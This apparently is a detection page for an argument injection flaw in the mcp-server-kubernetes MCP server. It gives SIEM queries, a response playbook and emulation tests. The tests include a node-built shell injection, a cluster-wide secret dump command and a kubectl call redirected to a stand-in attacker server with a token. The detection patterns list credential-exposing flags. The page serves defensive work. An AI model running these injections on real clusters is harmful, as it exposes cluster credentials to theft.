CVE-2026-61459 CrowdStrike LogScale · LogScale

Detect mcp-server-kubernetes Argument Injection Exposing Cluster Credentials (CVE-2026-61459) in CrowdStrike LogScale

Detects exploitation of CVE-2026-61459, an argument injection vulnerability (CWE-88) in the mcp-server-kubernetes MCP server prior to version 3.9.0. Attacker-controlled input passed through the server's structured kubectl tools is not properly separated from kubectl command-line arguments, allowing injection of additional flags (e.g. --kubeconfig, --token, --server, or exec/run overrides) that can leak Kubernetes cluster credentials or execute arbitrary kubectl operations. Because the MCP server typically runs with a service account or admin kubeconfig, successful exploitation can expose the full cluster credential set. This detection looks for kubectl process executions with injected/anomalous argument patterns originating from the MCP server process, and for suspicious credential-exposing kubectl invocations.

MITRE ATT&CK

Tactic
Credential Access Discovery Execution

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql 
#event_simpleName=ProcessRollup2 (FileName=/kubectl/i)
| ParentBaseFileName=/node|npx|python/i OR CommandLine=/mcp-server-kubernetes/i
| CommandLine=/--kubeconfig|--token|--server=|--as=|--insecure-skip-tls-verify|get\s+secret|run\s--|--client-key/i
| table([@timestamp, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine])
critical severity medium confidence

CrowdStrike CQL/LogScale query for MCP-spawned kubectl with injected credential-exposing arguments.

Data Sources

Falcon process telemetry

Required Tables

ProcessRollup2

False Positives & Tuning

  • Admin kubectl usage with explicit flags
  • CI/CD kubectl automation
  • Secret enumeration tooling

Other platforms for CVE-2026-61459

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) IBM QRadar (QRadar) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) All platforms (combined) →

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulated kubectl argument injection via MCP tool input

    Expected signal: Process-creation event for kubectl with an injected --kubeconfig flag and a node parent process.

  2. Test 2kubectl secret enumeration via injected argument

    Expected signal: Command line containing 'get secret' plus --kubeconfig recorded in process telemetry.

  3. Test 3kubectl exec/server override injection

    Expected signal: Process telemetry showing --server= and --token flags on a kubectl command line.

Last updated: 2026-08-20 Research depth: standard
References (8)

Response Playbook

Triage

  1. Confirm the mcp-server-kubernetes version on the affected host; anything < 3.9.0 is vulnerable to CVE-2026-61459.
  2. Retrieve the full kubectl command line and parent process; determine whether the injected flags (--kubeconfig, --token, --server, --as, get secret) came from attacker-supplied MCP tool input.
  3. Identify which MCP client/user session issued the request that triggered the kubectl invocation and whether it maps to a legitimate operator.
  4. Check whether the kubectl invocation read or exported cluster credentials (secrets, tokens, kubeconfig) and where output was sent.

Containment

  1. Stop the mcp-server-kubernetes process and block the MCP endpoint until upgraded to >= 3.9.0.
  2. Rotate any Kubernetes credentials (service-account tokens, kubeconfig, client certs) that the MCP server had access to, as they must be considered exposed.
  3. Restrict the MCP server's RBAC to least privilege and remove cluster-admin bindings from its service account.

Evidence Collection

  1. Capture the raw MCP request/response logs showing the tool arguments that were injected.
  2. Preserve process-creation telemetry (kubectl command lines, parent process, user) and the MCP server application logs.
  3. Collect Kubernetes API server audit logs for get/list on secrets and any exec/token requests around the event time.

Escalation Criteria

  • !Escalate to incident response if cluster secrets, service-account tokens, or kubeconfig were successfully read or exfiltrated.
  • !Escalate if the injected arguments pointed kubectl at an external --server or exfiltrated credentials off-host, indicating active attacker control.

Investigation Guide

Related Techniques

[object Object][object Object][object Object]

Forensic Artifacts

  • >Process-creation records for kubectl with anomalous flags and MCP parent process
  • >mcp-server-kubernetes application logs containing raw tool-call arguments
  • >Kubernetes API server audit logs showing secret reads or token requests
  • >Shell history / auditd records on the MCP host

Tuning Guidance

Baseline the legitimate kubectl usage of your MCP server's service account. Whitelist the specific contexts and flags used by approved automation, and alert on any --token/--server/--kubeconfig/get-secret argument that does not match that baseline. After upgrading to >= 3.9.0, keep the rule as a defense-in-depth control but expect argument injection attempts to fail.

Hunting Queries

Hunts for kubectl invocations parented by mcp-server-kubernetes that carry credential-exposing flags.

Hunting — KQL
kql 
DeviceProcessEvents | where FileName in~ ("kubectl","kubectl.exe") | where InitiatingProcessCommandLine has "mcp-server-kubernetes" | where ProcessCommandLine has_any ("--token","--kubeconfig","get secret","--server=") | project Timestamp, DeviceName, ProcessCommandLine, InitiatingProcessCommandLine
Hunting — SPL
spl 
index=* process_name="kubectl*" parent_process="*mcp-server-kubernetes*" (process="*--token*" OR process="*--kubeconfig*" OR process="*get secret*" OR process="*--server=*") | table _time host user process

Atomic Red Team Tests

Test 1 Simulated kubectl argument injection via MCP tool input
linux

Emulates an attacker injecting an extra --kubeconfig flag through mcp-server-kubernetes structured tool arguments (lab only).

Command

bash 
node -e "const {execFileSync}=require('child_process'); const userInput='pods --kubeconfig=/tmp/attacker.kubeconfig'; execFileSync('/bin/sh',['-c','kubectl get '+userInput],{stdio:'inherit'})" || echo 'simulated injection executed'

Cleanup

bash 
rm -f /tmp/attacker.kubeconfig

Expected Telemetry

Process-creation event for kubectl with an injected --kubeconfig flag and a node parent process.

Expected Detection

KQL/SPL/EQL rules flag the kubectl invocation with --kubeconfig spawned by node.

Test 2 kubectl secret enumeration via injected argument
linux

Simulates the credential-exposure payload where injected input turns a benign call into a secret read.

Command

bash 
sh -c 'echo kubectl get secrets --all-namespaces -o yaml --kubeconfig=/tmp/x.kubeconfig > /tmp/mcp_inject.log; cat /tmp/mcp_inject.log'

Cleanup

bash 
rm -f /tmp/mcp_inject.log /tmp/x.kubeconfig

Expected Telemetry

Command line containing 'get secret' plus --kubeconfig recorded in process telemetry.

Expected Detection

Detection matches on the get-secret + credential-flag pattern.

Test 3 kubectl exec/server override injection
linux

Emulates injection of a --server override redirecting kubectl to an attacker endpoint.

Command

bash 
sh -c 'echo kubectl get pods --server=https://attacker.example:6443 --insecure-skip-tls-verify --token=eyTESTTOKEN > /tmp/mcp_srv_inject.log; cat /tmp/mcp_srv_inject.log'

Cleanup

bash 
rm -f /tmp/mcp_srv_inject.log

Expected Telemetry

Process telemetry showing --server= and --token flags on a kubectl command line.

Expected Detection

Rules alert on the --server=/--token/--insecure-skip-tls-verify injected argument combination.

Related Detections

Tactic Hubs

TA0006Credential AccessTA0007DiscoveryTA0002Execution

Related Techniques

T1552.007Container APIT1059Command and Scripting InterpreterT1078Valid Accounts

Same Tactic: Credential Access

Popular Detections